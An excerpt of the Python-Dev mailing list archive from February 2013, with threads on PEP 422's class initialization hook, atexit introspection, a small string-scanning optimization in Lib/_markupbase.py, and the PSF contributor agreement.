	<CADiSq7eYG6NYxMSyZAR9i2_65k6LBKt5PEZwC6SPkpotM3-KZw@mail.gmail.com>
	<20130210152814.66c26f76@pitrou.net>
Message-ID: <20130211101536.6f769ee3@anarchist.wooz.org>

On Feb 10, 2013, at 03:28 PM, Antoine Pitrou wrote:

>Sure, every little addition is "trivial". At the end you have a scary
>monster made of many little trivial additions along the years, and
>everyone has to take care not to break it.

Why Antoine, that surely isn't the case with the import system!  <sarcastic
wink>.

-Barry

From barry at python.org  Mon Feb 11 16:19:53 2013
From: barry at python.org (Barry Warsaw)
Date: Mon, 11 Feb 2013 10:19:53 -0500
Subject: [Python-Dev] Submitting PEP 422 (Simple class initialization
 hook) for pronouncement
In-Reply-To: <CADiSq7dRRmx_AsMmnVUqBD7uU4p5=9VWeXfm01pmMowUx8rAMA@mail.gmail.com>
References: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
	<20130210134700.7dd822df@pitrou.net>
	<CADiSq7dBcvtTs2X_JM5Po7qNzaUk9zbtoN+9NGGv00X0OEX5gg@mail.gmail.com>
	<20130210143442.5e3cafcc@pitrou.net>
	<CADiSq7eYG6NYxMSyZAR9i2_65k6LBKt5PEZwC6SPkpotM3-KZw@mail.gmail.com>
	<20130210152814.66c26f76@pitrou.net> <kf8j16$n31$1@ger.gmane.org>
	<CALeMXf6hPOZka9c5z1hhHo7jPvLSdxe8sdruu9Dr9Avq+eBEjw@mail.gmail.com>
	<CADiSq7dRRmx_AsMmnVUqBD7uU4p5=9VWeXfm01pmMowUx8rAMA@mail.gmail.com>
Message-ID: <20130211101953.6b477bda@anarchist.wooz.org>

On Feb 11, 2013, at 08:33 PM, Nick Coghlan wrote:

>I like that. Perhaps the PEP should propose some additional guidance
>in PEP 8 regarding class based metaprogramming?

I wouldn't put it in PEP 8, since it'll glaze the eyes of all but 6 people on
the planet.  Probably better as a HOWTO in the documentation.

Cheers,
-Barry

From solipsis at pitrou.net  Mon Feb 11 16:21:27 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Mon, 11 Feb 2013 16:21:27 +0100
Subject: [Python-Dev] Submitting PEP 422 (Simple class initialization
 hook) for pronouncement
References: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
	<20130210134700.7dd822df@pitrou.net>
	<CADiSq7dBcvtTs2X_JM5Po7qNzaUk9zbtoN+9NGGv00X0OEX5gg@mail.gmail.com>
	<20130210143442.5e3cafcc@pitrou.net>
	<CADiSq7eYG6NYxMSyZAR9i2_65k6LBKt5PEZwC6SPkpotM3-KZw@mail.gmail.com>
	<20130210152814.66c26f76@pitrou.net>
	<20130211101536.6f769ee3@anarchist.wooz.org>
Message-ID: <20130211162127.6d4705c8@pitrou.net>

Le Mon, 11 Feb 2013 10:15:36 -0500,
Barry Warsaw <barry at python.org> a ?crit :
> On Feb 10, 2013, at 03:28 PM, Antoine Pitrou wrote:
> 
> >Sure, every little addition is "trivial". At the end you have a scary
> >monster made of many little trivial additions along the years, and
> >everyone has to take care not to break it.
> 
> Why Antoine, that surely isn't the case with the import system!
> <sarcastic wink>.

Nor with pythonrun.c.
I wouldn't even mention typeobject.c or the build system ;-)

Regards

Antoine.



From barry at python.org  Mon Feb 11 16:28:01 2013
From: barry at python.org (Barry Warsaw)
Date: Mon, 11 Feb 2013 10:28:01 -0500
Subject: [Python-Dev] checking what atexit handlers are registered in
 Python 3
In-Reply-To: <5117781F.2080401@simplistix.co.uk>
References: <5117781F.2080401@simplistix.co.uk>
Message-ID: <20130211102801.5c275c4d@anarchist.wooz.org>

On Feb 10, 2013, at 10:36 AM, Chris Withers wrote:

>One rough edge I've hit: I see the atexit module has moved to be C-based and,
>as far as I can tell, no longer allows you to introspect what atexit
>functions have been registered.
>
>If I'm writing tests for code that registers atexit handlers, how can I check
>that they've been correctly registered?

Looks like you can't through the atexit module.

Even though Python 2's atexit._exithandlers is a private, undocumented
attribute, the lack of an introspection API in Python 3's atexit seems like a
functional regression.  Please file a bug, although it will have to be a new
feature for Python 3.4.

Cheers,
-Barry

From rdmurray at bitdance.com  Mon Feb 11 16:59:44 2013
From: rdmurray at bitdance.com (R. David Murray)
Date: Mon, 11 Feb 2013 10:59:44 -0500
Subject: [Python-Dev] Question regarding: Lib/_markupbase.py
In-Reply-To: <1360594020.18756.YahooMailNeo@web171403.mail.ir2.yahoo.com>
References: <1360585008.27100.YahooMailNeo@web171404.mail.ir2.yahoo.com>
	<CAFT4OTFqq86E4=NDmohkkG8zrPpE=ZyhrVxURkVGrBEVH9AX7Q@mail.gmail.com>
	<1360594020.18756.YahooMailNeo@web171403.mail.ir2.yahoo.com>
Message-ID: <20130211155945.62F0C250030@webabinitio.net>

If these don't get reported as tracker issues they will probably get
lost.

--David

On Mon, 11 Feb 2013 14:47:00 +0000, Developer Developer <just_another_developer at yahoo.de> wrote:
> Same thing in the function: "_parse_doctype_attlist":
> 
> if ")" in rawdata[j:]:
> ?? ?? j = rawdata.find(")", j) + 1
> else:
> ?? ?? return -1
> 
> I would change it to:
> pos =??rawdata.find(")", j)
> if pos != -1:
> ?? ?? j = pos + 1
> else:
> ?? ?? return -1
> 
> 
> Best regards,
> Guido
> 
> 
> ----- Urspr??ngliche Message -----
> Von: Fred Drake <fred at fdrake.net>
> An: Developer Developer <just_another_developer at yahoo.de>
> CC: "python-dev at python.org" <python-dev at python.org>
> Gesendet: 15:10 Montag, 11.Februar 2013
> Betreff: Re: [Python-Dev] Question regarding: Lib/_markupbase.py
> 
> On Mon, Feb 11, 2013 at 7:16 AM, Developer Developer
> <just_another_developer at yahoo.de> wrote:
> > Wouldn't it be better to do the following?
> ...
> > Otherwise I think we are scanning rawdata[j:] twice.
> 
> Yes, that would be better, and avoids a string object creation as well.
> 
> 
> ?? -Fred
> 
> -- 
> Fred L. Drake, Jr.?? ?? <fred at fdrake.net>
> "A storm broke loose in my mind."?? --Albert Einstein
> 
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/rdmurray%40bitdance.com

From just_another_developer at yahoo.de  Mon Feb 11 17:15:59 2013
From: just_another_developer at yahoo.de (Developer Developer)
Date: Mon, 11 Feb 2013 16:15:59 +0000 (GMT)
Subject: [Python-Dev] Question regarding: Lib/_markupbase.py
In-Reply-To: <20130211155945.62F0C250030@webabinitio.net>
References: <1360585008.27100.YahooMailNeo@web171404.mail.ir2.yahoo.com>
	<CAFT4OTFqq86E4=NDmohkkG8zrPpE=ZyhrVxURkVGrBEVH9AX7Q@mail.gmail.com>
	<1360594020.18756.YahooMailNeo@web171403.mail.ir2.yahoo.com>
	<20130211155945.62F0C250030@webabinitio.net>
Message-ID: <1360599359.83344.YahooMailNeo@web171401.mail.ir2.yahoo.com>

Thank you David, I didn't think of the issue tracker.
I have just done it.

Guido



----- Urspr?ngliche Message -----
Von: R. David Murray <rdmurray at bitdance.com>
An: Developer Developer <just_another_developer at yahoo.de>
CC: "python-dev at python.org" <python-dev at python.org>
Gesendet: 16:59 Montag, 11.Februar 2013
Betreff: Re: [Python-Dev] Question regarding: Lib/_markupbase.py

If these don't get reported as tracker issues they will probably get
lost.

--David

On Mon, 11 Feb 2013 14:47:00 +0000, Developer Developer <just_another_developer at yahoo.de> wrote:
> Same thing in the function: "_parse_doctype_attlist":
> 
> if ")" in rawdata[j:]:
> ? ? j = rawdata.find(")", j) + 1
> else:
> ? ? return -1
> 
> I would change it to:
> pos =?rawdata.find(")", j)
> if pos != -1:
> ? ? j = pos + 1
> else:
> ? ? return -1
> 
> 
> Best regards,
> Guido
> 
> 
> ----- Urspr?ngliche Message -----
> Von: Fred Drake <fred at fdrake.net>
> An: Developer Developer <just_another_developer at yahoo.de>
> CC: "python-dev at python.org" <python-dev at python.org>
> Gesendet: 15:10 Montag, 11.Februar 2013
> Betreff: Re: [Python-Dev] Question regarding: Lib/_markupbase.py
> 
> On Mon, Feb 11, 2013 at 7:16 AM, Developer Developer
> <just_another_developer at yahoo.de> wrote:
> > Wouldn't it be better to do the following?
> ...
> > Otherwise I think we are scanning rawdata[j:] twice.
> 
> Yes, that would be better, and avoids a string object creation as well.
> 
> 
> ? -Fred
> 
> -- 
> Fred L. Drake, Jr.? ? <fred at fdrake.net>
> "A storm broke loose in my mind."? --Albert Einstein
> 
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/rdmurray%40bitdance.com


From guido at python.org  Mon Feb 11 18:44:46 2013
From: guido at python.org (Guido van Rossum)
Date: Mon, 11 Feb 2013 09:44:46 -0800
Subject: [Python-Dev] Submitting PEP 422 (Simple class initialization
 hook) for pronouncement
In-Reply-To: <20130211162127.6d4705c8@pitrou.net>
References: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
	<20130210134700.7dd822df@pitrou.net>
	<CADiSq7dBcvtTs2X_JM5Po7qNzaUk9zbtoN+9NGGv00X0OEX5gg@mail.gmail.com>
	<20130210143442.5e3cafcc@pitrou.net>
	<CADiSq7eYG6NYxMSyZAR9i2_65k6LBKt5PEZwC6SPkpotM3-KZw@mail.gmail.com>
	<20130210152814.66c26f76@pitrou.net>
	<20130211101536.6f769ee3@anarchist.wooz.org>
	<20130211162127.6d4705c8@pitrou.net>
Message-ID: <CAP7+vJLDuHUt8T0+a=nuEydHD6n16vFx0VRB6A66rBMaoHqtRA@mail.gmail.com>

Hi Nick,

I think this will make a fine addition to the language. I agree that
it is superior to the alternatives and fulfills a real (if rare) need.

I only have a few nits/questions/suggestions.

- With PJE, I think __init_class__ should automatically be a class
method. The same way that __new__ is automatically a class method.

- Would it make any sense to require that __init_class__ *returns* the
new class object (to complete the similarity with class decorators)?

Frankly, I lost track of things when you were discussing the exact
point in time where __class__ is added to the class. (This may place
me outside the set of people who fully understand Python's
metaclasses. So be it. :-) Perhaps some explanation of the existing
mechanism would be in place? It would be nice if you explained reason
for why __class__ cannot be set earlier in the game (otherwise the
response to this argument would be "so fix it", but somehow I doubt
that is possible). I think it may also be unclear at all times whether
__class__, when referenced, is meant to refer to the metaclass or to
the class under construction.

- I wouldn't add the OrderedMeta/OrderedClass to the PEP. Keep it
focused on enabling.

- Adding more examples would be great.

-- 
--Guido van Rossum (python.org/~guido)

From techtonik at gmail.com  Mon Feb 11 19:18:58 2013
From: techtonik at gmail.com (anatoly techtonik)
Date: Mon, 11 Feb 2013 21:18:58 +0300
Subject: [Python-Dev] My CLA
In-Reply-To: <20130211130151.GB28063@iskra.aviel.ru>
References: <CAPkN8xKytmzK6NLZZYTuTW5K3QUD58z-aMb+_mUKSZ31kJj+kQ@mail.gmail.com>
	<20130211130151.GB28063@iskra.aviel.ru>
Message-ID: <CAPkN8xK=uKAJHXBovn2APuuCdM+bSUyHGSBpR-TghkkDQrLtKg@mail.gmail.com>

On Mon, Feb 11, 2013 at 4:01 PM, Oleg Broytman <phd at phdru.name> wrote:

> On Mon, Feb 11, 2013 at 03:49:39PM +0300, anatoly techtonik <
> techtonik at gmail.com> wrote:
> > Python Contributor Agreement
> > ----------------------------
> > I allow PSF to release all my code that I submitted to
> > it, under any open source license.
>
>    Good intention but wrong way of expressing it. Please do it properly --
> via a signed paper. You can send it by snail mail, or you can scan it
> and send by email.


What's wrong with it? Is the text not clear? Or there is a problem to
threat email as a document?
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130211/441522f1/attachment.html>

From amauryfa at gmail.com  Mon Feb 11 19:27:48 2013
From: amauryfa at gmail.com (Amaury Forgeot d'Arc)
Date: Mon, 11 Feb 2013 19:27:48 +0100
Subject: [Python-Dev] My CLA
In-Reply-To: <CAPkN8xK=uKAJHXBovn2APuuCdM+bSUyHGSBpR-TghkkDQrLtKg@mail.gmail.com>
References: <CAPkN8xKytmzK6NLZZYTuTW5K3QUD58z-aMb+_mUKSZ31kJj+kQ@mail.gmail.com>
	<20130211130151.GB28063@iskra.aviel.ru>
	<CAPkN8xK=uKAJHXBovn2APuuCdM+bSUyHGSBpR-TghkkDQrLtKg@mail.gmail.com>
Message-ID: <CAGmFidZtyYLLXwyk9oK-rJx6b3qnr2m1nExLPOQgm+oOP_zPuA@mail.gmail.com>

2013/2/11 anatoly techtonik <techtonik at gmail.com>

> On Mon, Feb 11, 2013 at 4:01 PM, Oleg Broytman <phd at phdru.name> wrote:
>
>> On Mon, Feb 11, 2013 at 03:49:39PM +0300, anatoly techtonik <
>> techtonik at gmail.com> wrote:
>> > Python Contributor Agreement
>> > ----------------------------
>> > I allow PSF to release all my code that I submitted to
>> > it, under any open source license.
>>
>>    Good intention but wrong way of expressing it. Please do it properly --
>> via a signed paper. You can send it by snail mail, or you can scan it
>> and send by email.
>
>
> What's wrong with it? Is the text not clear? Or there is a problem to
> threat email as a document?
>

See the "Submission Instructions" there:
http://www.python.org/psf/contrib/

The Contributor Agreement is part of a formal process. It's necessary to
follow the rules, even if they were written by a lawyer and we don't
understand all the reasons.

-- 
Amaury Forgeot d'Arc
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130211/6cb6f228/attachment.html>

From guido at python.org  Mon Feb 11 19:27:51 2013
From: guido at python.org (Guido van Rossum)
Date: Mon, 11 Feb 2013 10:27:51 -0800
Subject: [Python-Dev] My CLA
In-Reply-To: <CAPkN8xK=uKAJHXBovn2APuuCdM+bSUyHGSBpR-TghkkDQrLtKg@mail.gmail.com>
References: <CAPkN8xKytmzK6NLZZYTuTW5K3QUD58z-aMb+_mUKSZ31kJj+kQ@mail.gmail.com>
	<20130211130151.GB28063@iskra.aviel.ru>
	<CAPkN8xK=uKAJHXBovn2APuuCdM+bSUyHGSBpR-TghkkDQrLtKg@mail.gmail.com>
Message-ID: <CAP7+vJKyKYyA55v8N2d4L0v5tWsCnNzF1Q9Oc+OitHsghvhAag@mail.gmail.com>

Anatoly, stop this discussion *NOW*. It is not appropriate for python-dev
and you risk being banned from python-dev if you keep it up.


On Mon, Feb 11, 2013 at 10:18 AM, anatoly techtonik <techtonik at gmail.com>wrote:

> On Mon, Feb 11, 2013 at 4:01 PM, Oleg Broytman <phd at phdru.name> wrote:
>
>> On Mon, Feb 11, 2013 at 03:49:39PM +0300, anatoly techtonik <
>> techtonik at gmail.com> wrote:
>> > Python Contributor Agreement
>> > ----------------------------
>> > I allow PSF to release all my code that I submitted to
>> > it, under any open source license.
>>
>>    Good intention but wrong way of expressing it. Please do it properly --
>> via a signed paper. You can send it by snail mail, or you can scan it
>> and send by email.
>
>
> What's wrong with it? Is the text not clear? Or there is a problem to
> threat email as a document?
>
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/guido%40python.org
>
>


-- 
--Guido van Rossum (python.org/~guido)
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130211/51ba0592/attachment.html>

From phd at phdru.name  Mon Feb 11 19:30:06 2013
From: phd at phdru.name (Oleg Broytman)
Date: Mon, 11 Feb 2013 22:30:06 +0400
Subject: [Python-Dev] My CLA
In-Reply-To: <CAPkN8xK=uKAJHXBovn2APuuCdM+bSUyHGSBpR-TghkkDQrLtKg@mail.gmail.com>
References: <CAPkN8xKytmzK6NLZZYTuTW5K3QUD58z-aMb+_mUKSZ31kJj+kQ@mail.gmail.com>
	<20130211130151.GB28063@iskra.aviel.ru>
	<CAPkN8xK=uKAJHXBovn2APuuCdM+bSUyHGSBpR-TghkkDQrLtKg@mail.gmail.com>
Message-ID: <20130211183006.GA7718@iskra.aviel.ru>

On Mon, Feb 11, 2013 at 09:18:58PM +0300, anatoly techtonik <techtonik at gmail.com> wrote:
> On Mon, Feb 11, 2013 at 4:01 PM, Oleg Broytman <phd at phdru.name> wrote:
> 
> > On Mon, Feb 11, 2013 at 03:49:39PM +0300, anatoly techtonik <
> > techtonik at gmail.com> wrote:
> > > Python Contributor Agreement
> > > ----------------------------
> > > I allow PSF to release all my code that I submitted to
> > > it, under any open source license.
> >
> >    Good intention but wrong way of expressing it. Please do it properly --
> > via a signed paper. You can send it by snail mail, or you can scan it
> > and send by email.
> 
> What's wrong with it? Is the text not clear? Or there is a problem to
> threat email as a document?

   Yes, email is not a legally recognized document. Electronic signature
*could* make it legally recognizable but it very much depends on the
organization where you send email to and on the certificate you use to
sign mail.
   Contact PSF for details. I doubt python-dev is a proper list to
discuss PSF-related legal issues.

Oleg.
-- 
     Oleg Broytman            http://phdru.name/            phd at phdru.name
           Programmers don't die, they just GOSUB without RETURN.

From phd at phdru.name  Mon Feb 11 13:37:35 2013
From: phd at phdru.name (Oleg Broytman)
Date: Mon, 11 Feb 2013 16:37:35 +0400
Subject: [Python-Dev] Question regarding: Lib/_markupbase.py
In-Reply-To: <1360585008.27100.YahooMailNeo@web171404.mail.ir2.yahoo.com>
References: <1360585008.27100.YahooMailNeo@web171404.mail.ir2.yahoo.com>
Message-ID: <20130211123735.GA28063@iskra.aviel.ru>

On Mon, Feb 11, 2013 at 12:16:48PM +0000, Developer Developer <just_another_developer at yahoo.de> wrote:
> I was having a look at the file:?Lib/_markupbase.py (@ 82151), function: "_parse_doctype_element" and have seen something that has caught my attention:
> 
> if '>' in rawdata[j:]:
> ? ? return rawdata.find(">", j) + 1
> 
> 
> Wouldn't it be better to do the following?
> pos = rawdata.find(">", j)
> if pos != -1:
> ? ? return pos + 1
> 
> Otherwise I think we are scanning rawdata[j:] twice.

   Is it really a significant optimization? Can you do an experiment and
show figures?

Oleg.
-- 
     Oleg Broytman            http://phdru.name/            phd at phdru.name
           Programmers don't die, they just GOSUB without RETURN.

From brian at python.org  Mon Feb 11 19:56:23 2013
From: brian at python.org (Brian Curtin)
Date: Mon, 11 Feb 2013 12:56:23 -0600
Subject: [Python-Dev] My CLA
In-Reply-To: <20130211183006.GA7718@iskra.aviel.ru>
References: <CAPkN8xKytmzK6NLZZYTuTW5K3QUD58z-aMb+_mUKSZ31kJj+kQ@mail.gmail.com>
	<20130211130151.GB28063@iskra.aviel.ru>
	<CAPkN8xK=uKAJHXBovn2APuuCdM+bSUyHGSBpR-TghkkDQrLtKg@mail.gmail.com>
	<20130211183006.GA7718@iskra.aviel.ru>
Message-ID: <CAD+XWwq1fsC7M7fGm858UOCseaR_HqQk05XoE_jSqG0Hn1HMng@mail.gmail.com>

On Mon, Feb 11, 2013 at 12:30 PM, Oleg Broytman <phd at phdru.name> wrote:
> On Mon, Feb 11, 2013 at 09:18:58PM +0300, anatoly techtonik <techtonik at gmail.com> wrote:
>> On Mon, Feb 11, 2013 at 4:01 PM, Oleg Broytman <phd at phdru.name> wrote:
>>
>> > On Mon, Feb 11, 2013 at 03:49:39PM +0300, anatoly techtonik <
>> > techtonik at gmail.com> wrote:
>> > > Python Contributor Agreement
>> > > ----------------------------
>> > > I allow PSF to release all my code that I submitted to
>> > > it, under any open source license.
>> >
>> >    Good intention but wrong way of expressing it. Please do it properly --
>> > via a signed paper. You can send it by snail mail, or you can scan it
>> > and send by email.
>>
>> What's wrong with it? Is the text not clear? Or there is a problem to
>> threat email as a document?
>
>    Yes, email is not a legally recognized document. Electronic signature
> *could* make it legally recognizable but it very much depends on the
> organization where you send email to and on the certificate you use to
> sign mail.
>    Contact PSF for details. I doubt python-dev is a proper list to
> discuss PSF-related legal issues.

There are no further details. Either the proper document is signed or it isn't.

Hopefully this is the end of the discussion.

Brian Curtin
Director
Python Software Foundation

From guido at python.org  Mon Feb 11 20:02:04 2013
From: guido at python.org (Guido van Rossum)
Date: Mon, 11 Feb 2013 11:02:04 -0800
Subject: [Python-Dev] Question regarding: Lib/_markupbase.py
In-Reply-To: <20130211123735.GA28063@iskra.aviel.ru>
References: <1360585008.27100.YahooMailNeo@web171404.mail.ir2.yahoo.com>
	<20130211123735.GA28063@iskra.aviel.ru>
Message-ID: <CAP7+vJL5d8OCiAJ2W6-_9=wvyhwgyd4-JZ+biSL0mzkgOQfvSA@mail.gmail.com>

Warning: see http://bugs.python.org/issue17170. Depending on the length of
the string being scanned and the probability of finding the specific
character, the proposed change could actually be a *pessimization*. OTOH if
the character occurs many times, the slice will actually cause O(N**2)
behavior. So yes, it depends greatly on the distribution of the input data.


On Mon, Feb 11, 2013 at 4:37 AM, Oleg Broytman <phd at phdru.name> wrote:

> On Mon, Feb 11, 2013 at 12:16:48PM +0000, Developer Developer <
> just_another_developer at yahoo.de> wrote:
> > I was having a look at the file: Lib/_markupbase.py (@ 82151), function:
> "_parse_doctype_element" and have seen something that has caught my
> attention:
> >
> > if '>' in rawdata[j:]:
> >     return rawdata.find(">", j) + 1
> >
> >
> > Wouldn't it be better to do the following?
> > pos = rawdata.find(">", j)
> > if pos != -1:
> >     return pos + 1
> >
> > Otherwise I think we are scanning rawdata[j:] twice.
>
>    Is it really a significant optimization? Can you do an experiment and
> show figures?
>
> Oleg.
> --
>      Oleg Broytman            http://phdru.name/            phd at phdru.name
>            Programmers don't die, they just GOSUB without RETURN.
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/guido%40python.org
>



-- 
--Guido van Rossum (python.org/~guido)
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130211/c59eb806/attachment.html>

From techtonik at gmail.com  Mon Feb 11 20:07:50 2013
From: techtonik at gmail.com (anatoly techtonik)
Date: Mon, 11 Feb 2013 22:07:50 +0300
Subject: [Python-Dev] My CLA
In-Reply-To: <CAP7+vJKyKYyA55v8N2d4L0v5tWsCnNzF1Q9Oc+OitHsghvhAag@mail.gmail.com>
References: <CAPkN8xKytmzK6NLZZYTuTW5K3QUD58z-aMb+_mUKSZ31kJj+kQ@mail.gmail.com>
	<20130211130151.GB28063@iskra.aviel.ru>
	<CAPkN8xK=uKAJHXBovn2APuuCdM+bSUyHGSBpR-TghkkDQrLtKg@mail.gmail.com>
	<CAP7+vJKyKYyA55v8N2d4L0v5tWsCnNzF1Q9Oc+OitHsghvhAag@mail.gmail.com>
Message-ID: <CAPkN8x+fnrvz3RumG07pKU0e3qLfj_P_w868jLgaVd2JPj6xqg@mail.gmail.com>

On Mon, Feb 11, 2013 at 9:27 PM, Guido van Rossum <guido at python.org> wrote:

> Anatoly, stop this discussion *NOW*. It is not appropriate for python-dev
> and you risk being banned from python-dev if you keep it up.
>

It is not a problem for me to keep silence for another couple of months.
But this weekend there will be an open source conference in Belarus [1],
and I will need to explain what this specific CLA is about in
developer-friendly language translated to Russian.

So what would be the best place to discuss the matter in public, so that I
can give a link to the discussion afterwards?

1. http://lvee.org/en/main
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130211/a916c955/attachment.html>

From solipsis at pitrou.net  Mon Feb 11 20:23:05 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Mon, 11 Feb 2013 20:23:05 +0100
Subject: [Python-Dev] My CLA
References: <CAPkN8xKytmzK6NLZZYTuTW5K3QUD58z-aMb+_mUKSZ31kJj+kQ@mail.gmail.com>
	<20130211130151.GB28063@iskra.aviel.ru>
	<CAPkN8xK=uKAJHXBovn2APuuCdM+bSUyHGSBpR-TghkkDQrLtKg@mail.gmail.com>
	<CAP7+vJKyKYyA55v8N2d4L0v5tWsCnNzF1Q9Oc+OitHsghvhAag@mail.gmail.com>
	<CAPkN8x+fnrvz3RumG07pKU0e3qLfj_P_w868jLgaVd2JPj6xqg@mail.gmail.com>
Message-ID: <20130211202305.66d1d0f6@pitrou.net>

On Mon, 11 Feb 2013 22:07:50 +0300
anatoly techtonik <techtonik at gmail.com> wrote:
> On Mon, Feb 11, 2013 at 9:27 PM, Guido van Rossum <guido at python.org> wrote:
> 
> > Anatoly, stop this discussion *NOW*. It is not appropriate for python-dev
> > and you risk being banned from python-dev if you keep it up.
> >
> 
> It is not a problem for me to keep silence for another couple of months.
> But this weekend there will be an open source conference in Belarus [1],
> and I will need to explain what this specific CLA is about in
> developer-friendly language translated to Russian.

The Python contributor agreement allows the PSF to safely redistribute
your contributions under its own license, the PSF license.

The Python contributor agreement is *not* a copyright assignment: you
legally remain the author of the code you contributed (i.e. you can also
publish it elsewhere under any license you want).

Regards

Antoine.



From jnoller at gmail.com  Mon Feb 11 20:57:31 2013
From: jnoller at gmail.com (Jesse Noller)
Date: Mon, 11 Feb 2013 14:57:31 -0500
Subject: [Python-Dev] My CLA
In-Reply-To: <20130211202305.66d1d0f6@pitrou.net>
References: <CAPkN8xKytmzK6NLZZYTuTW5K3QUD58z-aMb+_mUKSZ31kJj+kQ@mail.gmail.com>
	<20130211130151.GB28063@iskra.aviel.ru>
	<CAPkN8xK=uKAJHXBovn2APuuCdM+bSUyHGSBpR-TghkkDQrLtKg@mail.gmail.com>
	<CAP7+vJKyKYyA55v8N2d4L0v5tWsCnNzF1Q9Oc+OitHsghvhAag@mail.gmail.com>
	<CAPkN8x+fnrvz3RumG07pKU0e3qLfj_P_w868jLgaVd2JPj6xqg@mail.gmail.com>
	<20130211202305.66d1d0f6@pitrou.net>
Message-ID: <B3121EE0F4874135967BE17D978907DD@gmail.com>



On Monday, February 11, 2013 at 2:23 PM, Antoine Pitrou wrote:

> On Mon, 11 Feb 2013 22:07:50 +0300
> anatoly techtonik <techtonik at gmail.com (mailto:techtonik at gmail.com)> wrote:
> > On Mon, Feb 11, 2013 at 9:27 PM, Guido van Rossum <guido at python.org (mailto:guido at python.org)> wrote:
> > 
> > > Anatoly, stop this discussion *NOW*. It is not appropriate for python-dev
> > > and you risk being banned from python-dev if you keep it up.
> > 
> > 
> > 
> > It is not a problem for me to keep silence for another couple of months.
> > But this weekend there will be an open source conference in Belarus [1],
> > and I will need to explain what this specific CLA is about in
> > developer-friendly language translated to Russian.
> 
> 
> 
> The Python contributor agreement allows the PSF to safely redistribute
> your contributions under its own license, the PSF license.
> 
> The Python contributor agreement is *not* a copyright assignment: you
> legally remain the author of the code you contributed (i.e. you can also
> publish it elsewhere under any license you want).
> 
> Regards
> 
> Antoine.
> 
FWIW: Django's FAQ spells out the same reasons we have one for Python:

https://www.djangoproject.com/foundation/cla/faq/

just s/Django/Python/ and s/Django Software Foundation/Python Software Foundation/ - it's a good concise FAQ. 



From pje at telecommunity.com  Mon Feb 11 21:57:06 2013
From: pje at telecommunity.com (PJ Eby)
Date: Mon, 11 Feb 2013 15:57:06 -0500
Subject: [Python-Dev] Submitting PEP 422 (Simple class initialization
 hook) for pronouncement
In-Reply-To: <CAP7+vJLDuHUt8T0+a=nuEydHD6n16vFx0VRB6A66rBMaoHqtRA@mail.gmail.com>
References: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
	<20130210134700.7dd822df@pitrou.net>
	<CADiSq7dBcvtTs2X_JM5Po7qNzaUk9zbtoN+9NGGv00X0OEX5gg@mail.gmail.com>
	<20130210143442.5e3cafcc@pitrou.net>
	<CADiSq7eYG6NYxMSyZAR9i2_65k6LBKt5PEZwC6SPkpotM3-KZw@mail.gmail.com>
	<20130210152814.66c26f76@pitrou.net>
	<20130211101536.6f769ee3@anarchist.wooz.org>
	<20130211162127.6d4705c8@pitrou.net>
	<CAP7+vJLDuHUt8T0+a=nuEydHD6n16vFx0VRB6A66rBMaoHqtRA@mail.gmail.com>
Message-ID: <CALeMXf6n7217x=TBzcFYTx==3_ZSk8gErgjF+hJbUocqmNejnw@mail.gmail.com>

On Mon, Feb 11, 2013 at 12:44 PM, Guido van Rossum <guido at python.org> wrote:
> Hi Nick,
>
> I think this will make a fine addition to the language. I agree that
> it is superior to the alternatives and fulfills a real (if rare) need.
>
> I only have a few nits/questions/suggestions.
>
> - With PJE, I think __init_class__ should automatically be a class
> method.

Actually, I didn't say that as such, because I'm not sure how the heck
we'd implement that.  ;-)

For example, at what point is it converted to a classmethod?  Is it
going to be a slot method with special C-level handling?  Handled by
the compiler?  What happens if somebody makes it a

> The same way that __new__ is automatically a class method.

Actually, isn't it automatically a staticmethod?  Oh crap.  Now that
I'm thinking about it, doesn't this *have* to be a static method,
explicitly passing in the class?  I mean, otherwise, won't calling
super().__init_class__() invoke it on the base class, rather than the
current class?

ISTM that EIBTI argues for the __new__/staticmethod approach,
especially if you're returning the class (per below)


> - Would it make any sense to require that __init_class__ *returns* the
> new class object (to complete the similarity with class decorators)?

It would certainly be quite useful to do so, but in that case, perhaps
the method should be named __decorate_class__?  And in that event the
standard usage would look like:

    def __decorate_class__(cls):
        cls = super().__decorate_class__(cls)
        # do stuff
        return cls

On the other hand, one could just drop the super() requirement and
make the usage even simpler by having the class machinery walk the MRO
and pass each method the result of invoking the previous one.  Then
the methods are short and sweet, and super() and __class__ don't come
into it.  (Though I guess the class machinery could keep setting
__class__ to whatever the last-returned class was.)

In his first draft, Nick implemented inheritable decorators instead,
using a __decorators__ attribute in the class body, or something like
that.  While that approach had an issue or two of its own, it's
possible that just going with a single __decorate_class__ method would
work out better.

From guido at python.org  Mon Feb 11 22:44:05 2013
From: guido at python.org (Guido van Rossum)
Date: Mon, 11 Feb 2013 13:44:05 -0800
Subject: [Python-Dev] Submitting PEP 422 (Simple class initialization
 hook) for pronouncement
